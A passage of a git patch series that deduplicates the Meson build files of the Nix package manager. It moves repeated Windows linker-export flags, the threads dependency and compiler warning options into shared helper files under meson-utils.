@@ -18,6 +18,12 @@ subdir('meson-utils/deps-lists')
 
 configdata = configuration_data()
 
+deps_private_maybe_subproject = [
+]
+deps_public_maybe_subproject = [
+]
+subdir('meson-utils/subprojects')
+
 # Check for each of these functions, and create a define like `#define
 # HAVE_LUTIMES 1`. The `#define` is unconditional, 0 for not found and 1
 # for found. One therefore uses it with `#if` not `#ifdef`.

From d6f57f3260c9a8c66367f7cedfc256b3b0894acd Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Thu, 27 Jun 2024 12:42:43 -0400
Subject: [PATCH 467/528] More dedup

---
 meson-utils/export-all-symbols/meson.build | 11 +++++++++++
 src/libexpr-c/meson.build                  | 12 +-----------
 src/libexpr-test-support/meson.build       | 12 +-----------
 src/libexpr-test/meson.build               | 12 +-----------
 src/libfetchers-test/meson.build           | 12 +-----------
 src/libflake-test/meson.build              | 12 +-----------
 src/libstore-c/meson.build                 | 12 +-----------
 src/libstore-test-support/meson.build      | 12 +-----------
 src/libstore-test/meson.build              | 12 +-----------
 src/libstore/meson.build                   |  7 +------
 src/libutil-c/meson.build                  | 12 +-----------
 src/libutil-test-support/meson.build       | 12 +-----------
 src/libutil-test/meson.build               | 12 +-----------
 src/libutil/meson.build                    | 12 +-----------
 14 files changed, 24 insertions(+), 138 deletions(-)
 create mode 100644 meson-utils/export-all-symbols/meson.build

diff --git a/meson-utils/export-all-symbols/meson.build b/meson-utils/export-all-symbols/meson.build
new file mode 100644
index 00000000000..d7c086749fb
--- /dev/null
+++ b/meson-utils/export-all-symbols/meson.build
@@ -0,0 +1,11 @@
+if host_machine.system() == 'cygwin' or host_machine.system() == 'windows'
+  # Windows DLLs are stricter about symbol visibility than Unix shared
+  # objects --- see https://gcc.gnu.org/wiki/Visibility for details.
+  # This is a temporary sledgehammer to export everything like on Unix,
+  # and not detail with this yet.
+  #
+  # TODO do not do this, and instead do fine-grained export annotations.
+  linker_export_flags = ['-Wl,--export-all-symbols']
+else
+  linker_export_flags = []
+endif
diff --git a/src/libexpr-c/meson.build b/src/libexpr-c/meson.build
index 50616d0d81e..b242c2d8e0f 100644
--- a/src/libexpr-c/meson.build
+++ b/src/libexpr-c/meson.build
@@ -79,17 +79,7 @@ headers = [config_h] + files(
   'nix_api_value.h',
 )
 
-if host_machine.system() == 'cygwin' or host_machine.system() == 'windows'
-  # Windows DLLs are stricter ab_subprojectout symbol visibility than Unix shared
-  # objects --- see https://gcc.gnu.org/wiki/Visibility for details.
-  # This is a temporary sledgehammer to export everything like on Unix,
-  # and not detail with this yet.
-  #
-  # TODO do not do this, and instead do fine-grained export annotations.
-  linker_export_flags = ['-Wl,--export-all-symbols']
-else
-  linker_export_flags = []
-endif
+subdir('meson-utils/export-all-symbols')
 
 this_library = library(
   'nixexprc',
diff --git a/src/libexpr-test-support/meson.build b/src/libexpr-test-support/meson.build
index 5dbc6b1b5ff..4209a446458 100644
--- a/src/libexpr-test-support/meson.build
+++ b/src/libexpr-test-support/meson.build
@@ -63,17 +63,7 @@ headers = files(
   'tests/value/context.hh',
 )
 
-if host_machine.system() == 'cygwin' or host_machine.system() == 'windows'
-  # Windows DLLs are stricter about symbol visibility than Unix shared
-  # objects --- see https://gcc.gnu.org/wiki/Visibility for details.
-  # This is a temporary sledgehammer to export everything like on Unix,
-  # and not detail with this yet.
-  #
-  # TODO do not do this, and instead do fine-grained export annotations.
-  linker_export_flags = ['-Wl,--export-all-symbols']
-else
-  linker_export_flags = []
-endif
+subdir('meson-utils/export-all-symbols')
 
 this_library = library(
   'nix-expr-test-support',
diff --git a/src/libexpr-test/meson.build b/src/libexpr-test/meson.build
index cf1c4872906..11ab5c6e2f0 100644
--- a/src/libexpr-test/meson.build
+++ b/src/libexpr-test/meson.build
@@ -31,17 +31,7 @@ deps_public_maybe_subproject = [
 ]
 subdir('meson-utils/subprojects')
 
-if host_machine.system() == 'cygwin' or host_machine.system() == 'windows'
-  # Windows DLLs are stricter about symbol visibility than Unix shared
-  # objects --- see https://gcc.gnu.org/wiki/Visibility for details.
-  # This is a temporary sledgehammer to export everything like on Unix,
-  # and not detail with this yet.
-  #
-  # TODO do not do this, and instead do fine-grained export annotations.
-  linker_export_flags = ['-Wl,--export-all-symbols']
-else
-  linker_export_flags = []
-endif
+subdir('meson-utils/export-all-symbols')
 
 rapidcheck = dependency('rapidcheck')
 deps_private += rapidcheck
diff --git a/src/libfetchers-test/meson.build b/src/libfetchers-test/meson.build
index 7f35cbeca55..846d2d70a08 100644
--- a/src/libfetchers-test/meson.build
+++ b/src/libfetchers-test/meson.build
@@ -29,17 +29,7 @@ deps_public_maybe_subproject = [
 ]
 subdir('meson-utils/subprojects')
 
-if host_machine.system() == 'cygwin' or host_machine.system() == 'windows'
-  # Windows DLLs are stricter about symbol visibility than Unix shared
-  # objects --- see https://gcc.gnu.org/wiki/Visibility for details.
-  # This is a temporary sledgehammer to export everything like on Unix,
-  # and not detail with this yet.
-  #
-  # TODO do not do this, and instead do fine-grained export annotations.
-  linker_export_flags = ['-Wl,--export-all-symbols']
-else
-  linker_export_flags = []
-endif
+subdir('meson-utils/export-all-symbols')
 
 rapidcheck = dependency('rapidcheck')
 deps_private += rapidcheck
diff --git a/src/libflake-test/meson.build b/src/libflake-test/meson.build
index 1a488ec1364..e4665ce9c51 100644
--- a/src/libflake-test/meson.build
+++ b/src/libflake-test/meson.build
@@ -32,17 +32,7 @@ deps_public_maybe_subproject = [
 ]
 subdir('meson-utils/subprojects')
 
-if host_machine.system() == 'cygwin' or host_machine.system() == 'windows'
-  # Windows DLLs are stricter about symbol visibility than Unix shared
-  # objects --- see https://gcc.gnu.org/wiki/Visibility for details.
-  # This is a temporary sledgehammer to export everything like on Unix,
-  # and not detail with this yet.
-  #
-  # TODO do not do this, and instead do fine-grained export annotations.
-  linker_export_flags = ['-Wl,--export-all-symbols']
-else
-  linker_export_flags = []
-endif
+subdir('meson-utils/export-all-symbols')
 
 rapidcheck = dependency('rapidcheck')
 deps_private += rapidcheck
diff --git a/src/libstore-c/meson.build b/src/libstore-c/meson.build
index 3e59050fde4..b862097202f 100644
--- a/src/libstore-c/meson.build
+++ b/src/libstore-c/meson.build
@@ -71,17 +71,7 @@ headers = [config_h] + files(
   'nix_api_store.h',
 )
 
-if host_machine.system() == 'cygwin' or host_machine.system() == 'windows'
-  # Windows DLLs are stricter ab_subprojectout symbol visibility than Unix shared
-  # objects --- see https://gcc.gnu.org/wiki/Visibility for details.
-  # This is a temporary sledgehammer to export everything like on Unix,
-  # and not detail with this yet.
-  #
-  # TODO do not do this, and instead do fine-grained export annotations.
-  linker_export_flags = ['-Wl,--export-all-symbols']
-else
-  linker_export_flags = []
-endif
+subdir('meson-utils/export-all-symbols')
 
 this_library = library(
   'nixstorec',
diff --git a/src/libstore-test-support/meson.build b/src/libstore-test-support/meson.build
index 959125561da..9c798e9cb36 100644
--- a/src/libstore-test-support/meson.build
+++ b/src/libstore-test-support/meson.build
@@ -65,17 +65,7 @@ headers = files(
   'tests/protocol.hh',
 )
 
-if host_machine.system() == 'cygwin' or host_machine.system() == 'windows'
-  # Windows DLLs are stricter about symbol visibility than Unix shared
-  # objects --- see https://gcc.gnu.org/wiki/Visibility for details.
-  # This is a temporary sledgehammer to export everything like on Unix,
-  # and not detail with this yet.
-  #
-  # TODO do not do this, and instead do fine-grained export annotations.
-  linker_export_flags = ['-Wl,--export-all-symbols']
-else
-  linker_export_flags = []
-endif
+subdir('meson-utils/export-all-symbols')
 
 this_library = library(
   'nix-store-test-support',
diff --git a/src/libstore-test/meson.build b/src/libstore-test/meson.build
index 4469c6d6aaa..3ec7fbbd782 100644
--- a/src/libstore-test/meson.build
+++ b/src/libstore-test/meson.build
@@ -28,17 +28,7 @@ deps_public_maybe_subproject = [
 ]
 subdir('meson-utils/subprojects')
 
-if host_machine.system() == 'cygwin' or host_machine.system() == 'windows'
-  # Windows DLLs are stricter about symbol visibility than Unix shared
-  # objects --- see https://gcc.gnu.org/wiki/Visibility for details.
-  # This is a temporary sledgehammer to export everything like on Unix,
-  # and not detail with this yet.
-  #
-  # TODO do not do this, and instead do fine-grained export annotations.
-  linker_export_flags = ['-Wl,--export-all-symbols']
-else
-  linker_export_flags = []
-endif
+subdir('meson-utils/export-all-symbols')
 
 rapidcheck = dependency('rapidcheck')
 deps_private += rapidcheck
diff --git a/src/libstore/meson.build b/src/libstore/meson.build
index d5dcb193177..a552fc819b9 100644
--- a/src/libstore/meson.build
+++ b/src/libstore/meson.build
@@ -401,12 +401,7 @@ foreach name, value : cpp_str_defines
   ]
 endforeach
 
-if host_machine.system() == 'cygwin' or host_machine.system() == 'windows'
-  # See note in `../nix-util/meson.build`
-  linker_export_flags = ['-Wl,--export-all-symbols']
-else
-  linker_export_flags = []
-endif
+subdir('meson-utils/export-all-symbols')
 
 this_library = library(
   'nixstore',
diff --git a/src/libutil-c/meson.build b/src/libutil-c/meson.build
index 35338cbbc4e..b8c74bf1101 100644
--- a/src/libutil-c/meson.build
+++ b/src/libutil-c/meson.build
@@ -68,17 +68,7 @@ headers = [config_h] + files(
   'nix_api_util.h',
 )
 
-if host_machine.system() == 'cygwin' or host_machine.system() == 'windows'
-  # Windows DLLs are stricter ab_subprojectout symbol visibility than Unix shared
-  # objects --- see https://gcc.gnu.org/wiki/Visibility for details.
-  # This is a temporary sledgehammer to export everything like on Unix,
-  # and not detail with this yet.
-  #
-  # TODO do not do this, and instead do fine-grained export annotations.
-  linker_export_flags = ['-Wl,--export-all-symbols']
-else
-  linker_export_flags = []
-endif
+subdir('meson-utils/export-all-symbols')
 
 this_library = library(
   'nixutilc',
diff --git a/src/libutil-test-support/meson.build b/src/libutil-test-support/meson.build
index 1b8a14355f2..4239003c544 100644
--- a/src/libutil-test-support/meson.build
+++ b/src/libutil-test-support/meson.build
@@ -60,17 +60,7 @@ headers = files(
   'tests/string_callback.hh',
 )
 
-if host_machine.system() == 'cygwin' or host_machine.system() == 'windows'
-  # Windows DLLs are stricter about symbol visibility than Unix shared
-  # objects --- see https://gcc.gnu.org/wiki/Visibility for details.
-  # This is a temporary sledgehammer to export everything like on Unix,
-  # and not detail with this yet.
-  #
-  # TODO do not do this, and instead do fine-grained export annotations.
-  linker_export_flags = ['-Wl,--export-all-symbols']
-else
-  linker_export_flags = []
-endif
+subdir('meson-utils/export-all-symbols')
 
 this_library = library(
   'nix-util-test-support',
diff --git a/src/libutil-test/meson.build b/src/libutil-test/meson.build
index 36e8c22885d..8d9d32151df 100644
--- a/src/libutil-test/meson.build
+++ b/src/libutil-test/meson.build
@@ -25,17 +25,7 @@ deps_public_maybe_subproject = [
 ]
 subdir('meson-utils/subprojects')
 
-if host_machine.system() == 'cygwin' or host_machine.system() == 'windows'
-  # Windows DLLs are stricter about symbol visibility than Unix shared
-  # objects --- see https://gcc.gnu.org/wiki/Visibility for details.
-  # This is a temporary sledgehammer to export everything like on Unix,
-  # and not detail with this yet.
-  #
-  # TODO do not do this, and instead do fine-grained export annotations.
-  linker_export_flags = ['-Wl,--export-all-symbols']
-else
-  linker_export_flags = []
-endif
+subdir('meson-utils/export-all-symbols')
 
 rapidcheck = dependency('rapidcheck')
 deps_private += rapidcheck
diff --git a/src/libutil/meson.build b/src/libutil/meson.build
index d0e9f02c47b..84e47b4b47a 100644
--- a/src/libutil/meson.build
+++ b/src/libutil/meson.build
@@ -257,17 +257,7 @@ else
   subdir('unix')
 endif
 
-if host_machine.system() == 'cygwin' or host_machine.system() == 'windows'
-  # Windows DLLs are stricter about symbol visibility than Unix shared
-  # objects --- see https://gcc.gnu.org/wiki/Visibility for details.
-  # This is a temporary sledgehammer to export everything like on Unix,
-  # and not detail with this yet.
-  #
-  # TODO do not do this, and instead do fine-grained export annotations.
-  linker_export_flags = ['-Wl,--export-all-symbols']
-else
-  linker_export_flags = []
-endif
+subdir('meson-utils/export-all-symbols')
 
 this_library = library(
   'nixutil',

From 8198888bc41b3aeff445b730556a701024eabdf2 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Thu, 27 Jun 2024 12:57:32 -0400
Subject: [PATCH 468/528] More dedup

---
 meson-utils/threads/meson.build | 6 ++++++
 src/libexpr/meson.build         | 7 +------
 src/libstore/meson.build        | 7 +------
 src/libutil/meson.build         | 7 +------
 4 files changed, 9 insertions(+), 18 deletions(-)
 create mode 100644 meson-utils/threads/meson.build

diff --git a/meson-utils/threads/meson.build b/meson-utils/threads/meson.build
new file mode 100644
index 00000000000..294160de130
--- /dev/null
+++ b/meson-utils/threads/meson.build
@@ -0,0 +1,6 @@
+# This is only conditional to work around
+# https://github.com/mesonbuild/meson/issues/13293. It should be
+# unconditional.
+if not (host_machine.system() == 'windows' and cxx.get_id() == 'gcc')
+  deps_private += dependency('threads')
+endif
diff --git a/src/libexpr/meson.build b/src/libexpr/meson.build
index 30981a66e3e..8d37947b132 100644
--- a/src/libexpr/meson.build
+++ b/src/libexpr/meson.build
@@ -27,12 +27,7 @@ deps_public_maybe_subproject = [
 ]
 subdir('meson-utils/subprojects')
 
-# This is only conditional to work around
-# https://github.com/mesonbuild/meson/issues/13293. It should be
-# unconditional.
-if not (host_machine.system() == 'windows' and cxx.get_id() == 'gcc')
-  deps_private += dependency('threads')
-endif
+subdir('meson-utils/threads')
 
 boost = dependency(
   'boost',
diff --git a/src/libstore/meson.build b/src/libstore/meson.build
index a552fc819b9..8ec12e42f66 100644
--- a/src/libstore/meson.build
+++ b/src/libstore/meson.build
@@ -67,12 +67,7 @@ has_acl_support = cxx.has_header('sys/xattr.h') \
   and cxx.has_function('lremovexattr')
 configdata.set('HAVE_ACL_SUPPORT', has_acl_support.to_int())
 
-# This is only conditional to work around
-# https://github.com/mesonbuild/meson/issues/13293. It should be
-# unconditional.
-if not (host_machine.system() == 'windows' and cxx.get_id() == 'gcc')
-  deps_private += dependency('threads')
-endif
+subdir('meson-utils/threads')
 
 boost = dependency(
   'boost',
diff --git a/src/libutil/meson.build b/src/libutil/meson.build
index 84e47b4b47a..317b06da03a 100644
--- a/src/libutil/meson.build
+++ b/src/libutil/meson.build
@@ -48,12 +48,7 @@ foreach funcspec : check_funcs
   configdata.set(define_name, define_value)
 endforeach
 
-# This is only conditional to work around
-# https://github.com/mesonbuild/meson/issues/13293. It should be
-# unconditional.
-if not (host_machine.system() == 'windows' and cxx.get_id() == 'gcc')
-  deps_private += dependency('threads')
-endif
+subdir('meson-utils/threads')
 
 if host_machine.system() == 'windows'
   socket = cxx.find_library('ws2_32')

From 8399bd6b8f86b74688a45acd4913414fcc19583b Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Thu, 27 Jun 2024 16:11:52 -0400
Subject: [PATCH 469/528] Dedup

---
 meson-utils/diagnostics/meson.build   | 16 ++++++++++++++++
 src/libexpr-c/meson.build             | 14 ++------------
 src/libexpr-test-support/meson.build  | 14 ++------------
 src/libexpr-test/meson.build          | 14 ++------------
 src/libexpr/meson.build               | 15 ++-------------
 src/libfetchers-test/meson.build      | 14 ++------------
 src/libfetchers/meson.build           | 15 ++-------------
 src/libflake-test/meson.build         | 14 ++------------
 src/libflake/meson.build              | 14 ++------------
 src/libstore-c/meson.build            | 14 ++------------
 src/libstore-test-support/meson.build | 14 ++------------
 src/libstore-test/meson.build         | 14 ++------------
 src/libstore/meson.build              | 15 ++-------------
 src/libutil-c/meson.build             | 15 ++-------------
 src/libutil-test-support/meson.build  | 15 ++-------------
 src/libutil-test/meson.build          | 15 ++-------------
 src/libutil/meson.build               | 15 ++-------------
 17 files changed, 48 insertions(+), 199 deletions(-)
 create mode 100644 meson-utils/diagnostics/meson.build

diff --git a/meson-utils/diagnostics/meson.build b/meson-utils/diagnostics/meson.build
new file mode 100644
index 00000000000..eb0c636c026
--- /dev/null
+++ b/meson-utils/diagnostics/meson.build
@@ -0,0 +1,16 @@
+add_project_arguments(
+  '-Wno-deprecated-declarations',
+  '-Wimplicit-fallthrough',
+  '-Werror=switch',
+  '-Werror=switch-enum',
+  '-Werror=unused-result',
+  '-Wdeprecated-copy',
+  '-Wignored-qualifiers',
+  # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked
+  # at ~1% overhead in `nix search`.
+  #
+  # FIXME: remove when we get meson 1.4.0 which will default this to on for us:
+  # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions
+  '-D_GLIBCXX_ASSERTIONS=1',
+  language : 'cpp',
+)
diff --git a/src/libexpr-c/meson.build b/src/libexpr-c/meson.build
index b242c2d8e0f..477640240fb 100644
--- a/src/libexpr-c/meson.build
+++ b/src/libexpr-c/meson.build
@@ -50,21 +50,11 @@ add_project_arguments(
   '-include', 'config-util.h',
   '-include', 'config-store.h',
   '-include', 'config-expr.h',
-  '-Wno-deprecated-declarations',
-  '-Wimplicit-fallthrough',
-  '-Werror=switch',
-  '-Werror=switch-enum',
-  '-Wdeprecated-copy',
-  '-Wignored-qualifiers',
-  # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked
-  # at ~1% overhead in `nix search`.
-  #
-  # FIXME: remove when we get meson 1.4.0 which will default this to on for us:
-  # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions
-  '-D_GLIBCXX_ASSERTIONS=1',
   language : 'cpp',
 )
 
+subdir('meson-utils/diagnostics')
+
 sources = files(
   'nix_api_expr.cc',
   'nix_api_external.cc',
diff --git a/src/libexpr-test-support/meson.build b/src/libexpr-test-support/meson.build
index 4209a446458..ad3108a61bf 100644
--- a/src/libexpr-test-support/meson.build
+++ b/src/libexpr-test-support/meson.build
@@ -36,21 +36,11 @@ add_project_arguments(
   '-include', 'config-util.hh',
   '-include', 'config-store.hh',
   '-include', 'config-expr.hh',
-  '-Wno-deprecated-declarations',
-  '-Wimplicit-fallthrough',
-  '-Werror=switch',
-  '-Werror=switch-enum',
-  '-Wdeprecated-copy',
-  '-Wignored-qualifiers',
-  # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked
-  # at ~1% overhead in `nix search`.
-  #
-  # FIXME: remove when we get meson 1.4.0 which will default this to on for us:
-  # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions
-  '-D_GLIBCXX_ASSERTIONS=1',
   language : 'cpp',
 )
 
+subdir('meson-utils/diagnostics')
+
 sources = files(
   'tests/value/context.cc',
 )
diff --git a/src/libexpr-test/meson.build b/src/libexpr-test/meson.build
index 11ab5c6e2f0..e5bb771e3e5 100644
--- a/src/libexpr-test/meson.build
+++ b/src/libexpr-test/meson.build
@@ -48,21 +48,11 @@ add_project_arguments(
   '-include', 'config-util.h',
   '-include', 'config-store.h',
   '-include', 'config-expr.h',
-  '-Wno-deprecated-declarations',
-  '-Wimplicit-fallthrough',
-  '-Werror=switch',
-  '-Werror=switch-enum',
-  '-Wdeprecated-copy',
-  '-Wignored-qualifiers',
-  # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked
-  # at ~1% overhead in `nix search`.
-  #
-  # FIXME: remove when we get meson 1.4.0 which will default this to on for us:
-  # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions
-  '-D_GLIBCXX_ASSERTIONS=1',
   language : 'cpp',
 )
 
+subdir('meson-utils/diagnostics')
+
 sources = files(
   'derived-path.cc',
   'error_traces.cc',
diff --git a/src/libexpr/meson.build b/src/libexpr/meson.build
index 8d37947b132..d99f8048693 100644
--- a/src/libexpr/meson.build
+++ b/src/libexpr/meson.build
@@ -66,22 +66,11 @@ add_project_arguments(
   '-include', 'config-util.hh',
   '-include', 'config-store.hh',
   # '-include', 'config-fetchers.h',
-  '-include', 'config-expr.hh',
-  '-Wno-deprecated-declarations',
-  '-Wimplicit-fallthrough',
-  '-Werror=switch',
-  '-Werror=switch-enum',
-  '-Wdeprecated-copy',
-  '-Wignored-qualifiers',
-  # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked
-  # at ~1% overhead in `nix search`.
-  #
-  # FIXME: remove when we get meson 1.4.0 which will default this to on for us:
-  # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions
-  '-D_GLIBCXX_ASSERTIONS=1',
   language : 'cpp',
 )
 
+subdir('meson-utils/diagnostics')
+
 parser_tab = custom_target(
   input : 'parser.y',
   output : [
diff --git a/src/libfetchers-test/meson.build b/src/libfetchers-test/meson.build
index 846d2d70a08..30056c64a32 100644
--- a/src/libfetchers-test/meson.build
+++ b/src/libfetchers-test/meson.build
@@ -45,21 +45,11 @@ add_project_arguments(
   '-include', 'config-store.hh',
   '-include', 'config-util.h',
   '-include', 'config-store.h',
-  '-Wno-deprecated-declarations',
-  '-Wimplicit-fallthrough',
-  '-Werror=switch',
-  '-Werror=switch-enum',
-  '-Wdeprecated-copy',
-  '-Wignored-qualifiers',
-  # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked
-  # at ~1% overhead in `nix search`.
-  #
-  # FIXME: remove when we get meson 1.4.0 which will default this to on for us:
-  # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions
-  '-D_GLIBCXX_ASSERTIONS=1',
   language : 'cpp',
 )
 
+subdir('meson-utils/diagnostics')
+
 sources = files(
   'public-key.cc',
 )
diff --git a/src/libfetchers/meson.build b/src/libfetchers/meson.build
index 07ec2bc57c5..16645bda3ea 100644
--- a/src/libfetchers/meson.build
+++ b/src/libfetchers/meson.build
@@ -38,22 +38,11 @@ add_project_arguments(
   '-include', 'config-util.hh',
   '-include', 'config-store.hh',
   # '-include', 'config-fetchers.h',
-  '-Wno-deprecated-declarations',
-  '-Wimplicit-fallthrough',
-  '-Werror=switch',
-  '-Werror=switch-enum',
-  '-Werror=unused-result',
-  '-Wdeprecated-copy',
-  '-Wignored-qualifiers',
-  # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked
-  # at ~1% overhead in `nix search`.
-  #
-  # FIXME: remove when we get meson 1.4.0 which will default this to on for us:
-  # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions
-  '-D_GLIBCXX_ASSERTIONS=1',
   language : 'cpp',
 )
 
+subdir('meson-utils/diagnostics')
+
 sources = files(
   'attrs.cc',
   'cache.cc',
diff --git a/src/libflake-test/meson.build b/src/libflake-test/meson.build
index e4665ce9c51..b5f0c2fb402 100644
--- a/src/libflake-test/meson.build
+++ b/src/libflake-test/meson.build
@@ -49,21 +49,11 @@ add_project_arguments(
   '-include', 'config-util.h',
   '-include', 'config-store.h',
   '-include', 'config-expr.h',
-  '-Wno-deprecated-declarations',
-  '-Wimplicit-fallthrough',
-  '-Werror=switch',
-  '-Werror=switch-enum',
-  '-Wdeprecated-copy',
-  '-Wignored-qualifiers',
-  # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked
-  # at ~1% overhead in `nix search`.
-  #
-  # FIXME: remove when we get meson 1.4.0 which will default this to on for us:
-  # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions
-  '-D_GLIBCXX_ASSERTIONS=1',
   language : 'cpp',
 )
 
+subdir('meson-utils/diagnostics')
+
 sources = files(
   'flakeref.cc',
   'url-name.cc',
diff --git a/src/libflake/meson.build b/src/libflake/meson.build
index b0c172f0c22..13541fc4323 100644
--- a/src/libflake/meson.build
+++ b/src/libflake/meson.build
@@ -39,21 +39,11 @@ add_project_arguments(
   '-include', 'config-store.hh',
   # '-include', 'config-fetchers.h',
   '-include', 'config-expr.hh',
-  '-Wno-deprecated-declarations',
-  '-Wimplicit-fallthrough',
-  '-Werror=switch',
-  '-Werror=switch-enum',
-  '-Wdeprecated-copy',
-  '-Wignored-qualifiers',
-  # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked
-  # at ~1% overhead in `nix search`.
-  #
-  # FIXME: remove when we get meson 1.4.0 which will default this to on for us:
-  # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions
-  '-D_GLIBCXX_ASSERTIONS=1',
   language : 'cpp',
 )
 
+subdir('meson-utils/diagnostics')
+
 sources = files(
   'flake-settings.cc',
   'flake/config.cc',
diff --git a/src/libstore-c/meson.build b/src/libstore-c/meson.build
index b862097202f..cd068fed280 100644
--- a/src/libstore-c/meson.build
+++ b/src/libstore-c/meson.build
@@ -46,21 +46,11 @@ add_project_arguments(
   # From C libraries, for our public, installed headers too
   '-include', 'config-util.h',
   '-include', 'config-store.h',
-  '-Wno-deprecated-declarations',
-  '-Wimplicit-fallthrough',
-  '-Werror=switch',
-  '-Werror=switch-enum',
-  '-Wdeprecated-copy',
-  '-Wignored-qualifiers',
-  # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked
-  # at ~1% overhead in `nix search`.
-  #
-  # FIXME: remove when we get meson 1.4.0 which will default this to on for us:
-  # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions
-  '-D_GLIBCXX_ASSERTIONS=1',
   language : 'cpp',
 )
 
+subdir('meson-utils/diagnostics')
+
 sources = files(
   'nix_api_store.cc',
 )
diff --git a/src/libstore-test-support/meson.build b/src/libstore-test-support/meson.build
index 9c798e9cb36..adf6f685eb6 100644
--- a/src/libstore-test-support/meson.build
+++ b/src/libstore-test-support/meson.build
@@ -33,21 +33,11 @@ add_project_arguments(
   # It would be nice for our headers to be idempotent instead.
   '-include', 'config-util.hh',
   '-include', 'config-store.hh',
-  '-Wno-deprecated-declarations',
-  '-Wimplicit-fallthrough',
-  '-Werror=switch',
-  '-Werror=switch-enum',
-  '-Wdeprecated-copy',
-  '-Wignored-qualifiers',
-  # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked
-  # at ~1% overhead in `nix search`.
-  #
-  # FIXME: remove when we get meson 1.4.0 which will default this to on for us:
-  # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions
-  '-D_GLIBCXX_ASSERTIONS=1',
   language : 'cpp',
 )
 
+subdir('meson-utils/diagnostics')
+
 sources = files(
   'tests/derived-path.cc',
   'tests/outputs-spec.cc',
diff --git a/src/libstore-test/meson.build b/src/libstore-test/meson.build
index 3ec7fbbd782..cb561977cc3 100644
--- a/src/libstore-test/meson.build
+++ b/src/libstore-test/meson.build
@@ -43,21 +43,11 @@ add_project_arguments(
   '-include', 'config-store.hh',
   '-include', 'config-util.h',
   '-include', 'config-store.h',
-  '-Wno-deprecated-declarations',
-  '-Wimplicit-fallthrough',
-  '-Werror=switch',
-  '-Werror=switch-enum',
-  '-Wdeprecated-copy',
-  '-Wignored-qualifiers',
-  # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked
-  # at ~1% overhead in `nix search`.
-  #
-  # FIXME: remove when we get meson 1.4.0 which will default this to on for us:
-  # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions
-  '-D_GLIBCXX_ASSERTIONS=1',
   language : 'cpp',
 )
 
+subdir('meson-utils/diagnostics')
+
 sources = files(
   'common-protocol.cc',
   'content-address.cc',
diff --git a/src/libstore/meson.build b/src/libstore/meson.build
index 8ec12e42f66..d2a5acb188d 100644
--- a/src/libstore/meson.build
+++ b/src/libstore/meson.build
@@ -150,22 +150,11 @@ add_project_arguments(
   # It would be nice for our headers to be idempotent instead.
   '-include', 'config-util.hh',
   '-include', 'config-store.hh',
-  '-Wno-deprecated-declarations',
-  '-Wimplicit-fallthrough',
-  '-Werror=switch',
-  '-Werror=switch-enum',
-  '-Werror=unused-result',
-  '-Wdeprecated-copy',
-  '-Wignored-qualifiers',
-  # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked
-  # at ~1% overhead in `nix search`.
-  #
-  # FIXME: remove when we get meson 1.4.0 which will default this to on for us:
-  # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions
-  '-D_GLIBCXX_ASSERTIONS=1',
   language : 'cpp',
 )
 
+subdir('meson-utils/diagnostics')
+
 sources = files(
   'binary-cache-store.cc',
   'build-result.cc',
diff --git a/src/libutil-c/meson.build b/src/libutil-c/meson.build
index b8c74bf1101..6c316784d7b 100644
--- a/src/libutil-c/meson.build
+++ b/src/libutil-c/meson.build
@@ -42,22 +42,11 @@ add_project_arguments(
 
   # From C libraries, for our public, installed headers too
   '-include', 'config-util.h',
-  '-Wno-deprecated-declarations',
-  '-Wimplicit-fallthrough',
-  '-Werror=switch',
-  '-Werror=switch-enum',
-  '-Werror=unused-result',
-  '-Wdeprecated-copy',
-  '-Wignored-qualifiers',
-  # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked
-  # at ~1% overhead in `nix search`.
-  #
-  # FIXME: remove when we get meson 1.4.0 which will default this to on for us:
-  # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions
-  '-D_GLIBCXX_ASSERTIONS=1',
   language : 'cpp',
 )
 
+subdir('meson-utils/diagnostics')
+
 sources = files(
   'nix_api_util.cc',
 )
diff --git a/src/libutil-test-support/meson.build b/src/libutil-test-support/meson.build
index 4239003c544..d63fabce54c 100644
--- a/src/libutil-test-support/meson.build
+++ b/src/libutil-test-support/meson.build
@@ -30,22 +30,11 @@ add_project_arguments(
   # TODO(Qyriad): Yes this is how the autoconf+Make system did it.
   # It would be nice for our headers to be idempotent instead.
   '-include', 'config-util.hh',
-  '-Wno-deprecated-declarations',
-  '-Wimplicit-fallthrough',
-  '-Werror=switch',
